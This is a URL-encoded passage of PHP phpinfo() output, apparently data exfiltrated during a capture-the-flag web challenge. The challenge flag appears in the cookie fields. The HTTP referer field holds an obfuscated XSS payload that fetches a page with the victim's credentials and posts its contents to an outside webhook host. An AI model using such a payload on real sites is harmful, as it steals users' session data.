%2Ftd%3E%3C%2Ftr%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3Ezlib.output_handler%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3E%3Ci%3Eno%20value%3C%2Fi%3E%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3E%3Ci%3Eno%20value%3C%2Fi%3E%3C%2Ftd%3E%3C%2Ftr%3E%0A%3C%2Ftable%3E%0A%3Ch2%3EAdditional%20Modules%3C%2Fh2%3E%0A%3Ctable%3E%0A%3Ctr%20class%3D%22h%22%3E%3Cth%3EModule%20Name%3C%2Fth%3E%3C%2Ftr%3E%0A%3C%2Ftable%3E%0A%3Ch2%3EEnvironment%3C%2Fh2%3E%0A%3Ctable%3E%0A%3Ctr%20class%3D%22h%22%3E%3Cth%3EVariable%3C%2Fth%3E%3Cth%3EValue%3C%2Fth%3E%3C%2Ftr%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3EUSER%20%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3Ewww-data%20%3C%2Ftd%3E%3C%2Ftr%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3EHOME%20%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3E%2Fvar%2Fwww%20%3C%2Ftd%3E%3C%2Ftr%3E%0A%3C%2Ftable%3E%0A%3Ch2%3EPHP%20Variables%3C%2Fh2%3E%0A%3Ctable%3E%0A%3Ctr%20class%3D%22h%22%3E%3Cth%3EVariable%3C%2Fth%3E%3Cth%3EValue%3C%2Fth%3E%3C%2Ftr%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3E%24_COOKIE%5B'FLAG'%5D%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3Eidek%7BGhazy_N3gm_Elbalad%7D%3C%2Ftd%3E%3C%2Ftr%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3E%24_SERVER%5B'USER'%5D%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3Ewww-data%3C%2Ftd%3E%3C%2Ftr%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3E%24_SERVER%5B'HOME'%5D%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3E%2Fvar%2Fwww%3C%2Ftd%3E%3C%2Ftr%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3E%24_SERVER%5B'PATH_TRANSLATED'%5D%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3E%2Fusr%2Fshare%2Fnginx%2Fhtml%3C%2Ftd%3E%3C%2Ftr%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3E%24_SERVER%5B'ORIG_SCRIPT_FILENAME'%5D%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3E%2Fusr%2Fshare%2Fnginx%2Fhtml%2Finfo.php%2Ffakeinfo.php%3C%2Ftd%3E%3C%2Ftr%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3E%24_SERVER%5B'HTTP_COOKIE'%5D%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3EFLAG%3Didek%7BGhazy_N3gm_Elbalad%7D%3C%2Ftd%3E%3C%2Ftr%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3E%24_SERVER%5B'HTTP_ACCEPT_ENCODING'%5D%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3Egzip%2C%20deflate%3C%2Ftd%3E%3C%2Ftr%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3E%24_SERVER%5B'HTTP_REFERER'%5D%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3Ehttp%3A%2F%2Fidek-hello.chal.idek.team%3A1337%2Findex.php%3Fname%3D%253Csvg%250Conload%3Deval(String.fromCharCode(102%2C101%2C116%2C99%2C104%2C40%2C34%2C47%2C105%2C110%2C102%2C111%2C46%2C112%2C104%2C112%2C47%2C102%2C97%2C107%2C101%2C105%2C110%2C102%2C111%2C46%2C112%2C104%2C112%2C34%2C44%2C123%2C99%2C114%2C101%2C100%2C101%2C110%2C116%2C105%2C97%2C108%2C115%2C58%2C34%2C105%2C110%2C99%2C108%2C117%2C100%2C101%2C34%2C44%2C109%2C101%2C116%2C104%2C111%2C100%2C58%2C34%2C71%2C69%2C84%2C34%2C125%2C41%2C46%2C116%2C104%2C101%2C110%2C40%2C101%2C61%2C62%2C101%2C46%2C116%2C101%2C120%2C116%2C40%2C41%2C41%2C46%2C116%2C104%2C101%2C110%2C40%2C102%2C117%2C110%2C99%2C116%2C105%2C111%2C110%2C40%2C101%2C41%2C123%2C102%2C101%2C116%2C99%2C104%2C40%2C34%2C104%2C116%2C116%2C112%2C115%2C58%2C47%2C47%2C119%2C101%2C98%2C104%2C111%2C111%2C107%2C46%2C115%2C105%2C116%2C101%2C47%2C98%2C54%2C56%2C97%2C57%2C99%2C51%2C51%2C45%2C49%2C100%2C56%2C50%2C45%2C52%2C98%2C49%2C100%2C45%2C57%2C102%2C100%2C57%2C45%2C98%2C55%2C52%2C54%2C48%2C48%2C49%2C55%2C48%2C101%2C49%2C53%2C47%2C34%2C44%2C123%2C98%2C111%2C100%2C121%2C58%2C34%2C99%2C111%2C110%2C116%2C101%2C110%2C116%2C61%2C34%2C43%2C101%2C110%2C99%2C111%2C100%2C101%2C85%2C82%2C73%2C67%2C111%2C109%2C112%2C111%2C110%2C101%2C110%2C116%2C40%2C101%2C41%2C44%2C104%2C101%2C97%2C100%2C101%2C114%2C115%2C58%2C123%2C34%2C67%2C111%2C110%2C116%2C101%2C110%2C116%2C45%2C84%2C121%2C112%2C101%2C34%2C58%2C34%2C97%2C112%2C112%2C108%2C105%2C99%2C97%2C116%2C105%2C111%2C110%2C47%2C120%2C45%2C119%2C119%2C119%2C45%2C102%2C111%2C114%2C109%2C45%2C117%2C114%2C108%2C101%2C110%2C99%2C111%2C100%2C101%2C100%2C34%2C125%2C44%2C109%2C101%2C116%2C104%2C111%2C100%2C58%2C34%2C80%2C79%2C83%2C84%2C34%2C44%2C109%2C111%2C100%2C101%2C58%2C34%2C110%2C111%2C45%2C99%2C111%2C114%2C115%2C34%2C125%2C41%2C125%2C41%2C59))%253E%3C%2Ftd%3E%3C%2Ftr%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3E%24_SERVER%5B'HTTP_ACCEPT'%5D%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3E*%2F*%3C%2Ftd%3E%3C%2Ftr%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3E%24_SERVER%5B'HTTP_USER_AGENT'%5D%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3EMozilla%2F5.0%20(X11%3B%20Linux%20x86_64)%20AppleWebKit%2F537.36%20(KHTML%2C%20like%20Gecko)%20HeadlessChrome%2F107.0.5296.0%20Safari%2F537.36%3C%2Ftd%3E%3C%2Ftr%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3E%24_SERVER%5B'HTTP_CONNECTION'%5D%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3Ekeep-alive%3C%2Ftd%3E%3C%2Ftr%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3E%24_SERVER%5B'HTTP_HOST'%5D%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3Eidek-hello.chal.idek.team%3A1337%3C%2Ftd%3E%3C%2Ftr%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3E%24_SERVER%5B'REDIRECT_STATUS'%5D%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3E200%3C%2Ftd%3E%3C%2Ftr%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3E%24_SERVER%5B'SERVER_NAME'%5D%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3Elocalhost%3C%2Ftd%3E%3C%2Ftr%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3E%24_SERVER%5B'SERVER_PORT'%5D%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3E1337%3C%2Ftd%3E%3C%2Ftr%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3E%24_SERVER%5B'SERVER_ADDR'%5D%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3E10.44.1.20%3C%2Ftd%3E%3C%2Ftr%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3E%24_SERVER%5B'REMOTE_PORT'%5D%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3E50274%3C%2Ftd%3E%3C%2Ftr%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3E%24_SERVER%5B'REMOTE_ADDR'%5D%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3E10.43.116.3%3C%2Ftd%3E%3C%2Ftr%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3E%24_SERVER%5B'SERVER_SOFTWARE'%5D%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3Enginx%2F1.27.1%3C%2Ftd%3E%3C%2Ftr%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3E%24_SERVER%5B'GATEWAY_INTERFACE'%5D%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3ECGI%2F1.1%3C%2Ftd%3E%3C%2Ftr%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3E%24_SERVER%5B'REQUEST_SCHEME'%5D%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3Ehttp%3C%2Ftd%3E%3C%2Ftr%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3E%24_SERVER%5B'SERVER_PROTOCOL'%5D%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3EHTTP%2F1.1%3C%2Ftd%3E%3C%2Ftr%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3E%24_SERVER%5B'DOCUMENT_ROOT'%5D%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3E%2Fusr%2Fshare%2Fnginx%2Fhtml%3C%2Ftd%3E%3C%2Ftr%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3E%24_SERVER%5B'DOCUMENT_URI'%5D%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3E%2Finfo.php%2Ffakeinfo.php%3C%2Ftd%3E%3C%2Ftr%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3E%24_SERVER%5B'REQUEST_URI'%5D%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3E%2Finfo.php%2Ffakeinfo.php%3C%2Ftd%3E%3C%2Ftr%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3E%24_SERVER%5B'SCRIPT_NAME'%5D%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3E%2Finfo.php%2Ffakeinfo.php%3C%2Ftd%3E%3C%2Ftr%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3E%24_SERVER%5B'CONTENT_LENGTH'%5D%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3E%3Ci%3Eno%20value%3C%2Fi%3E%3C%2Ftd%3E%3C%2Ftr%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3E%24_SERVER%5B'CONTENT_TYPE'%5D%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3E%3Ci%3Eno%20value%3C%2Fi%3E%3C%2Ftd%3E%3C%2Ftr%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3E%24_SERVER%5B'REQUEST_METHOD'%5D%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3EGET%3C%2Ftd%3E%3C%2Ftr%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3E%24_SERVER%5B'QUERY_STRING'%5D%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3E%3Ci%3Eno%20value%3C%2Fi%3E%3C%2Ftd%3E%3C%2Ftr%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3E%24_SERVER%5B'SCRIPT_FILENAME'%5D%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3E%2Fusr%2Fshare%2Fnginx%2Fhtml%2Finfo.php%3C%2Ftd%3E%3C%2Ftr%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3E%24_SERVER%5B'FCGI_ROLE'%5D%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3ERESPONDER%3C%2Ftd%3E%3C%2Ftr%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3E%24_SERVER%5B'PHP_SELF'%5D%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3E%2Finfo.php%2Ffakeinfo.php%3C%2Ftd%3E%3C%2Ftr%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3E%24_SERVER%5B'REQUEST_TIME_FLOAT'%5D%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3E1724008260.5829%3C%2Ftd%3E%3C%2Ftr%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3E%24_SERVER%5B'REQUEST_TIME'%5D%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3E1724008260%3C%2Ftd%3E%3C%2Ftr%3E%0A%3C%2Ftable%3E%0A%3Chr%20%2F%3E%0A%3Ch1%3EPHP%20Credits%3C%2Fh1%3E%0A%3Ctable%3E%0A%3Ctr%20class%3D%22h%22%3E%3Cth%3EPHP%20Group%3C%2Fth%3E%3C%2Ftr%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3EThies%20C.%20Arntzen%2C%20Stig%20Bakken%2C%20Shane%20Caraveo%2C%20Andi%20Gutmans%2C%20Rasmus%20Lerdorf%2C%20Sam%20Ruby%2C%20Sascha%20Schumann%2C%20Zeev%20Suraski%2C%20Jim%20Winstead%2C%20Andrei%20Zmievski%20%3C%2Ftd%3E%3C%2Ftr%3E%0A%3C%2Ftable%3E%0A%3Ctable%3E%0A%3Ctr%20class%3D%22h%22%3E%3Cth%3ELanguage%20Design%20%26amp%3B%20Concept%3C%2Fth%3E%3C%2Ftr%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3EAndi%20Gutmans%2C%20Rasmus%20Lerdorf%2C%20Zeev%20Suraski%2C%20Marcus%20Boerger%20%3C%2Ftd%3E%3C%2Ftr%3E%0A%3C%2Ftable%3E%0A%3Ctable%3E%0A%3Ctr%20class%3D%22h%22%3E%3Cth%20colspan%3D%222%22%3EPHP%20Authors%3C%2Fth%3E%3C%2Ftr%3E%0A%3Ctr%20class%3D%22h%22%3E%3Cth%3EContribution%3C%2Fth%3E%3Cth%3EAuthors%3C%2Fth%3E%3C%2Ftr%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3EZend%20Scripting%20Language%20Engine%20%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3EAndi%20Gutmans%2C%20Zeev%20Suraski%2C%20Stanislav%20Malyshev%2C%20Marcus%20Boerger%2C%20Dmitry%20Stogov%2C%20Xinchen%20Hui%2C%20Nikita%20Popov%20%3C%2Ftd%3E%3C%2Ftr%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3EExtension%20Module%20API%20%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3EAndi%20Gutmans%2C%20Zeev%20Suraski%2C%20Andrei%20Zmievski%20%3C%2Ftd%3E%3C%2Ftr%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3EUNIX%20Build%20and%20Modularization%20%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3EStig%20Bakken%2C%20Sascha%20Schumann%2C%20Jani%20Taskinen%2C%20Peter%20Kokot%20%3C%2Ftd%3E%3C%2Ftr%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3EWindows%20Support%20%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3EShane%20Caraveo%2C%20Zeev%20Suraski%2C%20Wez%20Furlong%2C%20Pierre-Alain%20Joye%2C%20Anatol%20Belski%2C%20Kalle%20Sommer%20Nielsen%20%3C%2Ftd%3E%3C%2Ftr%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3EServer%20API%20(SAPI)%20Abstraction%20Layer%20%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3EAndi%20Gutmans%2C%20Shane%20Caraveo%2C%20Zeev%20Suraski%20%3C%2Ftd%3E%3C%2Ftr%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3EStreams%20Abstraction%20Layer%20%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3EWez%20Furlong%2C%20Sara%20Golemon%20%3C%2Ftd%3E%3C%2Ftr%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3EPHP%20Data%20Objects%20Layer%20%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3EWez%20Furlong%2C%20Marcus%20Boerger%2C%20Sterling%20Hughes%2C%20George%20Schlossnagle%2C%20Ilia%20Alshanetsky%20%3C%2Ftd%3E%3C%2Ftr%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3EOutput%20Handler%20%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3EZeev%20Suraski%2C%20Thies%20C.%20Arntzen%2C%20Marcus%20Boerger%2C%20Michael%20Wallner%20%3C%2Ftd%3E%3C%2Ftr%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3EConsistent%2064%20bit%20support%20%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3EAnthony%20Ferrara%2C%20Anatol%20Belski%20%3C%2Ftd%3E%3C%2Ftr%3E%0A%3C%2Ftable%3E%0A%3Ctable%3E%0A%3Ctr%20class%3D%22h%22%3E%3Cth%20colspan%3D%222%22%3ESAPI%20Modules%3C%2Fth%3E%3C%2Ftr%3E%0A%3Ctr%20class%3D%22h%22%3E%3Cth%3EContribution%3C%2Fth%3E%3Cth%3EAuthors%3C%2Fth%3E%3C%2Ftr%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3EApache%202.0%20Handler%20%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3EIan%20Holsman%2C%20Justin%20Erenkrantz%20(based%20on%20Apache%202.0%20Filter%20code)%20%3C%2Ftd%3E%3C%2Ftr%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3ECGI%20%2F%20FastCGI%20%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3ERasmus%20Lerdorf%2C%20Stig%20Bakken%2C%20Shane%20Caraveo%2C%20Dmitry%20Stogov%20%3C%2Ftd%3E%3C%2Ftr%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3ECLI%20%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3EEdin%20Kadribasic%2C%20Marcus%20Boerger%2C%20Johannes%20Schlueter%2C%20Moriyoshi%20Koizumi%2C%20Xinchen%20Hui%20%3C%2Ftd%3E%3C%2Ftr%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3EEmbed%20%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3EEdin%20Kadribasic%20%3C%2Ftd%3E%3C%2Ftr%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3EFastCGI%20Process%20Manager%20%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3EAndrei%20Nigmatulin%2C%20dreamcat4%2C%20Antony%20Dovgal%2C%20Jerome%20Loyet%20%3C%2Ftd%3E%3C%2Ftr%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3Elitespeed%20%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3EGeorge%20Wang%20%3C%2Ftd%3E%3C%2Ftr%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3Ephpdbg%20%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3EFelipe%20Pena%2C%20Joe%20Watkins%2C%20Bob%20Weinand%20%3C%2Ftd%3E%3C%2Ftr%3E%0A%3C%2Ftable%3E%0A%3Ctable%3E%0A%3Ctr%20class%3D%22h%22%3E%3Cth%20colspan%3D%222%22%3EModule%20Authors%3C%2Fth%3E%3C%2Ftr%3E%0A%3Ctr%20class%3D%22h%22%3E%3Cth%3EModule%3C%2Fth%3E%3Cth%3EAuthors%3C%2Fth%3E%3C%2Ftr%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3EBC%20Math%20%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3EAndi%20Gutmans%20%3C%2Ftd%3E%3C%2Ftr%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3EBzip2%20%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3ESterling%20Hughes%20%3C%2Ftd%3E%3C%2Ftr%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3ECalendar%20%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3EShane%20Caraveo%2C%20Colin%20Viebrock%2C%20Hartmut%20Holzgraefe%2C%20Wez%20Furlong%20%3C%2Ftd%3E%3C%2Ftr%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3ECOM%20and%20.Net%20%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3EWez%20Furlong%20%3C%2Ftd%3E%3C%2Ftr%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3Ectype%20%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3EHartmut%20Holzgraefe%20%3C%2Ftd%3E%3C%2Ftr%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3EcURL%20%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3ESterling%20Hughes%20%3C%2Ftd%3E%3C%2Ftr%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3EDate%2FTime%20Support%20%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3EDerick%20Rethans%20%3C%2Ftd%3E%3C%2Ftr%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3EDB-LIB%20(MS%20SQL%2C%20Sybase)%20%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3EWez%20Furlong%2C%20Frank%20M.%20Kromann%2C%20Adam%20Baratz%20%3C%2Ftd%3E%3C%2Ftr%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3EDBA%20%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3ESascha%20Schumann%2C%20Marcus%20Boerger%20%3C%2Ftd%3E%3C%2Ftr%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3EDOM%20%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3EChristian%20Stocker%2C%20Rob%20Richards%2C%20Marcus%20Boerger%20%3C%2Ftd%3E%3C%2Ftr%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3Eenchant%20%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3EPierre-Alain%20Joye%2C%20Ilia%20Alshanetsky%20%3C%2Ftd%3E%3C%2Ftr%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3EEXIF%20%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3ERasmus%20Lerdorf%2C%20Marcus%20Boerger%20%3C%2Ftd%3E%3C%2Ftr%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3EFFI%20%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3EDmitry%20Stogov%20%3C%2Ftd%3E%3C%2Ftr%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3Efileinfo%20%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3EIlia%20Alshanetsky%2C%20Pierre%20Alain%20Joye%2C%20Scott%20MacVicar%2C%20Derick%20Rethans%2C%20Anatol%20Belski%20%3C%2Ftd%3E%3C%2Ftr%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3EFirebird%20driver%20for%20PDO%20%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3EArd%20Biesheuvel%20%3C%2Ftd%3E%3C%2Ftr%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3EFTP%20%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3EStefan%20Esser%2C%20Andrew%20Skalski%20%3C%2Ftd%3E%3C%2Ftr%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3EGD%20imaging%20%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3ERasmus%20Lerdorf%2C%20Stig%20Bakken%2C%20Jim%20Winstead%2C%20Jouni%20Ahto%2C%20Ilia%20Alshanetsky%2C%20Pierre-Alain%20Joye%2C%20Marcus%20Boerger%2C%20Mark%20Randall%20%3C%2Ftd%3E%3C%2Ftr%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3EGetText%20%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3EAlex%20Plotnick%20%3C%2Ftd%3E%3C%2Ftr%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3EGNU%20GMP%20support%20%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3EStanislav%20Malyshev%20%3C%2Ftd%3E%3C%2Ftr%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3EIconv%20%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3ERui%20Hirokawa%2C%20Stig%20Bakken%2C%20Moriyoshi%20Koizumi%20%3C%2Ftd%3E%3C%2Ftr%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3EIMAP%20%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3ERex%20Logan%2C%20Mark%20Musone%2C%20Brian%20Wang%2C%20Kaj-Michael%20Lang%2C%20Antoni%20Pamies%20Olive%2C%20Rasmus%20Lerdorf%2C%20Andrew%20Skalski%2C%20Chuck%20Hagenbuch%2C%20Daniel%20R%20Kalowsky%20%3C%2Ftd%3E%3C%2Ftr%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3EInput%20Filter%20%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3ERasmus%20Lerdorf%2C%20Derick%20Rethans%2C%20Pierre-Alain%20Joye%2C%20Ilia%20Alshanetsky%20%3C%2Ftd%3E%3C%2Ftr%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3EInternationalization%20%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3EEd%20Batutis%2C%20Vladimir%20Iordanov%2C%20Dmitry%20Lakhtyuk%2C%20Stanislav%20Malyshev%2C%20Vadim%20Savchuk%2C%20Kirti%20Velankar%20%3C%2Ftd%3E%3C%2Ftr%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3EJSON%20%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3EJakub%20Zelenka%2C%20Omar%20Kilani%2C%20Scott%20MacVicar%20%3C%2Ftd%3E%3C%2Ftr%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3ELDAP%20%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3EAmitay%20Isaacs%2C%20Eric%20Warnke%2C%20Rasmus%20Lerdorf%2C%20Gerrit%20Thomson%2C%20Stig%20Venaas%20%3C%2Ftd%3E%3C%2Ftr%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3ELIBXML%20%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3EChristian%20Stocker%2C%20Rob%20Richards%2C%20Marcus%20Boerger%2C%20Wez%20Furlong%2C%20Shane%20Caraveo%20%3C%2Ftd%3E%3C%2Ftr%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3EMultibyte%20String%20Functions%20%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3ETsukada%20Takuya%2C%20Rui%20Hirokawa%20%3C%2Ftd%3E%3C%2Ftr%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3EMySQL%20driver%20for%20PDO%20%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3EGeorge%20Schlossnagle%2C%20Wez%20Furlong%2C%20Ilia%20Alshanetsky%2C%20Johannes%20Schlueter%20%3C%2Ftd%3E%3C%2Ftr%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3EMySQLi%20%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3EZak%20Greant%2C%20Georg%20Richter%2C%20Andrey%20Hristov%2C%20Ulf%20Wendel%20%3C%2Ftd%3E%3C%2Ftr%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3EMySQLnd%20%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3EAndrey%20Hristov%2C%20Ulf%20Wendel%2C%20Georg%20Richter%2C%20Johannes%20Schl%C3%BCter%20%3C%2Ftd%3E%3C%2Ftr%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3EOCI8%20%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3EStig%20Bakken%2C%20Thies%20C.%20Arntzen%2C%20Andy%20Sautins%2C%20David%20Benson%2C%20Maxim%20Maletsky%2C%20Harald%20Radi%2C%20Antony%20Dovgal%2C%20Andi%20Gutmans%2C%20Wez%20Furlong%2C%20Christopher%20Jones%2C%20Oracle%20Corporation%20%3C%2Ftd%3E%3C%2Ftr%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3EODBC%20driver%20for%20PDO%20%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3EWez%20Furlong%20%3C%2Ftd%3E%3C%2Ftr%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3EODBC%20%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3EStig%20Bakken%2C%20Andreas%20Karajannis%2C%20Frank%20M.%20Kromann%2C%20Daniel%20R.%20Kalowsky%20%3C%2Ftd%3E%3C%2Ftr%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3EOpcache%20%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3EAndi%20Gutmans%2C%20Zeev%20Suraski%2C%